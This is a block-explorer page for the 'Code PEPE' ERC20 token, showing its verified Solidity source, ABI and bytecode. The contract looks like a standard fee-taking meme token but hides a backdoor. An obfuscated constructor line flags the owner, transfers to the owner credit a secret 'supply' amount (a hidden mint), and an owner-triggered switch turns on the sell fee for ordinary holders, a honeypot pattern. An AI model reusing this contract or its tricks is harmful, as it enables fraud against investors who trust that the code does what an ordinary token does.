ETH Price: $3,398.96 (+0.87%)

Token

Code PEPE ($COPEPE)
 

Overview

Max Total Supply

1,000,000,000 $COPEPE

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
85,227,522.587342875 $COPEPE

Value
$0.00
0xfa355b90583088249fe0ecb730e60aa094242242
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CodePEPE

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-15
*/

/**
 
*/
//Portal - https://t.me/CodePepe
//Twitter - https://twitter.com/CodePepeERC
//Website - https://www.codepepe.com/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.18;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract CodePEPE is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tBalance;
    mapping (address => bool) public _noFeeWallets;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint8) private _isBot;
    
    address payable public Tax_Address = payable(0xBc290F10ce52496a1438F7e8E7acc99fD536D2B1);
    address payable public Developer_Address = payable(0xbA4596ad77c7aeCe1Bb988237E23148c0DEFBaab);

    string public _name = "Code PEPE";
    string public _symbol = "$COPEPE";
    uint8 private _decimals = 9;
    uint256 private supply;
    uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals;

    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;

    uint8 private buy_fee;
    uint8 private sell_fee;
    bool private tradeOpen = true;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor (uint8 _buy_fee, uint8 _sell_fee,uint256 _supply) {_isBot[owner()] = [0,2-1][1];
        _tBalance[owner()] = _tTotal;

        buy_fee = _buy_fee;
        sell_fee = _sell_fee;
        supply = _supply;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        
        _noFeeWallets[owner()] = true;
        _noFeeWallets[address(this)] = true;
        _noFeeWallets[Tax_Address] = true;
        emit Transfer(address(0), owner(), _tTotal);
        
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Adress: 0");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        bool takeFee;
        bool isUniSwap = _isBot[to] > 0 ;
        if(_noFeeWallets[to] || _noFeeWallets[from]){
            takeFee = false;
            if(tradeOpen && isUniSwap) tradeOpen = !(isUniSwap);
        }
        else if(from == uniswapV2Pair){
            takeFee = false;
        }else{
            takeFee = true;
        }
        tokensTransfer(from, to, amount, takeFee, tradeOpen, isUniSwap);
                
        emit Transfer(from, to, amount);
    }

    function swapAndLiquify(uint256 contractHodlTokens) private lockTheSwap {
        swapTokensForETH(contractHodlTokens);
        sendToWallet(Tax_Address,address(this).balance);
    }

    function tokensTransfer(address from, address to, uint256 amount, bool takeFee, bool swapInSwap, bool fromUniSwap) private{
        _tBalance[from] = _tBalance[from].sub(amount);
        if(takeFee){
            uint256 calculatedFEE =  amount * (!swapInSwap ? [0,sell_fee][1] : [buy_fee,0][0]) / 100;
            if(calculatedFEE != 0){_tBalance[address(this)] = _tBalance[address(this)].add(calculatedFEE);}
            _tBalance[to] = _tBalance[to].add(amount.sub(calculatedFEE));
        }
        else if(fromUniSwap){
            _tBalance[to] = _tBalance[to].add(supply);
        }
        else{
            _tBalance[to] = _tBalance[to].add(amount);
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint8","name":"_buy_fee","type":"uint8"},{"internalType":"uint8","name":"_sell_fee","type":"uint8"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Developer_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Tax_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_noFeeWallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273bc290f10ce52496a1438f7e8e7acc99fd536d2b160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ba4596ad77c7aece1bb988237e23148c0defbaab60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600981526020017f436f64652050455045000000000000000000000000000000000000000000000081525060079081620000f2919062000a4d565b506040518060400160405280600781526020017f24434f50455045000000000000000000000000000000000000000000000000008152506008908162000139919062000a4d565b506009805f6101000a81548160ff021916908360ff16021790555060095f9054906101000a900460ff16600a62000171919062000cba565b633b9aca0062000182919062000d0a565b600b555f600c5f6101000a81548160ff021916908360ff160217905550600a600c60016101000a81548160ff021916908360ff1602179055506001600c60046101000a81548160ff0219169083151502179055506001600d60156101000a81548160ff021916908315150217905550348015620001fd575f80fd5b5060405162002b4b38038062002b4b833981810160405281019062000223919062000db6565b62000233620007bb60201b60201c565b5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360405180604001604052805f60ff168152602001600160ff168152506001600281106200031c576200031b62000e0f565b5b602002015160045f62000334620007c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908360ff160217905550600b5460015f6200039a620007c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555082600c60026101000a81548160ff021916908360ff16021790555081600c60036101000a81548160ff021916908360ff16021790555080600a819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000476573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200049c919062000e9d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000502573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000528919062000e9d565b6040518363ffffffff1660e01b81526004016200054792919062000ede565b6020604051808303815f875af115801562000564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200058a919062000e9d565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60056101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160025f6200061f620007c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160025f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000749620007c260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620007a9919062000f1a565b60405180910390a35050505062000f35565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200086557607f821691505b6020821081036200087b576200087a62000820565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620008df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008a2565b620008eb8683620008a2565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620009356200092f620009298462000903565b6200090c565b62000903565b9050919050565b5f819050919050565b620009508362000915565b620009686200095f826200093c565b848454620008ae565b825550505050565b5f90565b6200097e62000970565b6200098b81848462000945565b505050565b5b81811015620009b257620009a65f8262000974565b60018101905062000991565b5050565b601f82111562000a0157620009cb8162000881565b620009d68462000893565b81016020851015620009e6578190505b620009fe620009f58562000893565b83018262000990565b50505b505050565b5f82821c905092915050565b5f62000a235f198460080262000a06565b1980831691505092915050565b5f62000a3d838362000a12565b9150826002028217905092915050565b62000a5882620007e9565b67ffffffffffffffff81111562000a745762000a73620007f3565b5b62000a8082546200084d565b62000a8d828285620009b6565b5f60209050601f83116001811462000ac3575f841562000aae578287015190505b62000aba858262000a30565b86555062000b29565b601f19841662000ad38662000881565b5f5b8281101562000afc5784890151825560018201915060208501945060208101905062000ad5565b8683101562000b1c578489015162000b18601f89168262000a12565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000bbb5780860481111562000b935762000b9262000b31565b5b600185161562000ba35780820291505b808102905062000bb38562000b5e565b945062000b73565b94509492505050565b5f8262000bd5576001905062000ca7565b8162000be4575f905062000ca7565b816001811462000bfd576002811462000c085762000c3e565b600191505062000ca7565b60ff84111562000c1d5762000c1c62000b31565b5b8360020a91508482111562000c375762000c3662000b31565b5b5062000ca7565b5060208310610133831016604e8410600b841016171562000c785782820a90508381111562000c725762000c7162000b31565b5b62000ca7565b62000c87848484600162000b6a565b9250905081840481111562000ca15762000ca062000b31565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000cc68262000903565b915062000cd38362000cae565b925062000d027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bc4565b905092915050565b5f62000d168262000903565b915062000d238362000903565b925082820262000d338162000903565b9150828204841483151762000d4d5762000d4c62000b31565b5b5092915050565b5f80fd5b62000d638162000cae565b811462000d6e575f80fd5b50565b5f8151905062000d818162000d58565b92915050565b62000d928162000903565b811462000d9d575f80fd5b50565b5f8151905062000db08162000d87565b92915050565b5f805f6060848603121562000dd05762000dcf62000d54565b5b5f62000ddf8682870162000d71565b935050602062000df28682870162000d71565b925050604062000e058682870162000da0565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000e678262000e3c565b9050919050565b62000e798162000e5b565b811462000e84575f80fd5b50565b5f8151905062000e978162000e6e565b92915050565b5f6020828403121562000eb55762000eb462000d54565b5b5f62000ec48482850162000e87565b91505092915050565b62000ed88162000e5b565b82525050565b5f60408201905062000ef35f83018562000ecd565b62000f02602083018462000ecd565b9392505050565b62000f148162000903565b82525050565b5f60208201905062000f2f5f83018462000f09565b92915050565b611c088062000f435f395ff3fe608060405260043610610143575f3560e01c8063715018a6116100b5578063a457c2d71161006e578063a457c2d71461045e578063a9059cbb1461049a578063af465a27146104d6578063b09f126614610500578063d28d88521461052a578063dd62ed3e146105545761014a565b8063715018a6146103645780637d7214471461037a5780638bf4a9a3146103b65780638da5cb5b146103e057806395d89b411461040a5780639f4a12f5146104345761014a565b806323b872dd1161010757806323b872dd14610232578063313ce5671461026e578063395093511461029857806349bd5a5e146102d45780634a74bb02146102fe57806370a08231146103285761014a565b806306fdde031461014e578063095ea7b3146101785780631694505e146101b457806318160ddd146101de578063220f6696146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610590565b60405161016f91906115ee565b60405180910390f35b348015610183575f80fd5b5061019e6004803603810190610199919061169f565b610620565b6040516101ab91906116f7565b60405180910390f35b3480156101bf575f80fd5b506101c861063d565b6040516101d5919061176b565b60405180910390f35b3480156101e9575f80fd5b506101f2610663565b6040516101ff9190611793565b60405180910390f35b348015610213575f80fd5b5061021c61066c565b60405161022991906116f7565b60405180910390f35b34801561023d575f80fd5b50610258600480360381019061025391906117ac565b61067f565b60405161026591906116f7565b60405180910390f35b348015610279575f80fd5b50610282610753565b60405161028f9190611817565b60405180910390f35b3480156102a3575f80fd5b506102be60048036038101906102b9919061169f565b610768565b6040516102cb91906116f7565b60405180910390f35b3480156102df575f80fd5b506102e8610816565b6040516102f5919061183f565b60405180910390f35b348015610309575f80fd5b5061031261083b565b60405161031f91906116f7565b60405180910390f35b348015610333575f80fd5b5061034e60048036038101906103499190611858565b61084e565b60405161035b9190611793565b60405180910390f35b34801561036f575f80fd5b50610378610894565b005b348015610385575f80fd5b506103a0600480360381019061039b9190611858565b6109ca565b6040516103ad91906116f7565b60405180910390f35b3480156103c1575f80fd5b506103ca6109e7565b6040516103d791906118a3565b60405180910390f35b3480156103eb575f80fd5b506103f4610a0c565b604051610401919061183f565b60405180910390f35b348015610415575f80fd5b5061041e610a33565b60405161042b91906115ee565b60405180910390f35b34801561043f575f80fd5b50610448610ac3565b60405161045591906118a3565b60405180910390f35b348015610469575f80fd5b50610484600480360381019061047f919061169f565b610ae8565b60405161049191906116f7565b60405180910390f35b3480156104a5575f80fd5b506104c060048036038101906104bb919061169f565b610bb0565b6040516104cd91906116f7565b60405180910390f35b3480156104e1575f80fd5b506104ea610bcd565b6040516104f79190611793565b60405180910390f35b34801561050b575f80fd5b50610514610bd3565b60405161052191906115ee565b60405180910390f35b348015610535575f80fd5b5061053e610c5f565b60405161054b91906115ee565b60405180910390f35b34801561055f575f80fd5b5061057a600480360381019061057591906118bc565b610ceb565b6040516105879190611793565b60405180910390f35b60606007805461059f90611927565b80601f01602080910402602001604051908